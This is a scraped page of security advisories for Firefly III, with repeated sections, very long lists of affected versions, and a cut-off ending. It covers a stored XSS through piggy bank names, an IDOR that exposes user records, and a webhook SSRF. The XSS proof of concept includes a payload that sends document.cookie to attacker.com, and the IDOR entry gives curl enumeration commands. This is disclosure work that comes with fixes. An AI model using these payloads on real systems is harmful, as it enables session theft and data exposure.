POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

GHSA-5q8v-j673-m5v4 Mar 07, 2026

Firefly III user API endpoints expose all users' information to any authenticated user (IDOR)

Medium

Network Low Low None

Summary

The User management API endpoints (GET /api/v1/users and GET /api/v1/users/{id}) are accessible to any authenticated user without admin/owner role verification, exposing all users' email addresses, roles, and account status.

Affected Endpoints

GET /api/v1/users (UserController::index, line 94) — Lists ALL users with full details. No role check.
GET /api/v1/users/{id} (UserController::show, line 126) — Shows any user's details by ID. No role check.

Root Cause (1-of-N Inconsistency)

Other methods in the same controller properly check for the 'owner' role:

store() — UserStoreRequest::authorize() checks auth()->user()->hasRole('owner') ✓
destroy() — Explicitly checks $this->repository->hasRole($admin, 'owner') ✓

But index() and show() have no role check at all. The route group at routes/api.php:734-747 has no admin middleware, only the global auth:api middleware.

Exposed Data

The UserTransformer (line 40-54) returns:

email — user's email address
role — user's role (owner/demo)
blocked — account blocked status
blocked_code — block reason
created_at / updated_at — timestamps

Impact

Any authenticated user can:

Enumerate ALL user accounts in the instance
Harvest email addresses for phishing/social engineering
Identify admin/owner accounts by role
Determine which accounts are blocked

Exploitation

# List all users
curl -H "Authorization: Bearer <any_user_token>" https://instance/api/v1/users

# View specific user details
curl -H "Authorization: Bearer <any_user_token>" https://instance/api/v1/users/1

Suggested Fix

Add owner role checks to index() and show(), or restrict the route group with admin middleware:

// Option 1: Add check in controller methods
public function show(User $user): JsonResponse
{
    if (!$this->repository->hasRole(auth()->user(), 'owner') && auth()->user()->id !== $user->id) {
        throw new FireflyException('200025: No access to function.');
    }
    // ...
}

// Option 2: Add middleware to route group
Route::group(['middleware' => ['admin'], ...], ...)

Affected versions


          v6.4.23


          v6.5.0

Fixed in


          6.5.1

References

Updated Mar 07, 2026 · Source: OSV.dev

Feb 23, 2026

v6.4.23 patch

3 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

GHSA-5q8v-j673-m5v4 Mar 07, 2026

Firefly III user API endpoints expose all users' information to any authenticated user (IDOR)

Medium

Network Low Low None

Summary

The User management API endpoints (GET /api/v1/users and GET /api/v1/users/{id}) are accessible to any authenticated user without admin/owner role verification, exposing all users' email addresses, roles, and account status.

Affected Endpoints

GET /api/v1/users (UserController::index, line 94) — Lists ALL users with full details. No role check.
GET /api/v1/users/{id} (UserController::show, line 126) — Shows any user's details by ID. No role check.

Root Cause (1-of-N Inconsistency)

Other methods in the same controller properly check for the 'owner' role:

store() — UserStoreRequest::authorize() checks auth()->user()->hasRole('owner') ✓
destroy() — Explicitly checks $this->repository->hasRole($admin, 'owner') ✓

But index() and show() have no role check at all. The route group at routes/api.php:734-747 has no admin middleware, only the global auth:api middleware.

Exposed Data

The UserTransformer (line 40-54) returns:

email — user's email address
role — user's role (owner/demo)
blocked — account blocked status
blocked_code — block reason
created_at / updated_at — timestamps

Impact

Any authenticated user can:

Enumerate ALL user accounts in the instance
Harvest email addresses for phishing/social engineering
Identify admin/owner accounts by role
Determine which accounts are blocked

Exploitation

# List all users
curl -H "Authorization: Bearer <any_user_token>" https://instance/api/v1/users

# View specific user details
curl -H "Authorization: Bearer <any_user_token>" https://instance/api/v1/users/1

Suggested Fix

Add owner role checks to index() and show(), or restrict the route group with admin middleware:

// Option 1: Add check in controller methods
public function show(User $user): JsonResponse
{
    if (!$this->repository->hasRole(auth()->user(), 'owner') && auth()->user()->id !== $user->id) {
        throw new FireflyException('200025: No access to function.');
    }
    // ...
}

// Option 2: Add middleware to route group
Route::group(['middleware' => ['admin'], ...], ...)

Affected versions


          v6.4.23


          v6.5.0

Fixed in


          6.5.1

References

Updated Mar 07, 2026 · Source: OSV.dev

Feb 20, 2026

v6.4.22 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


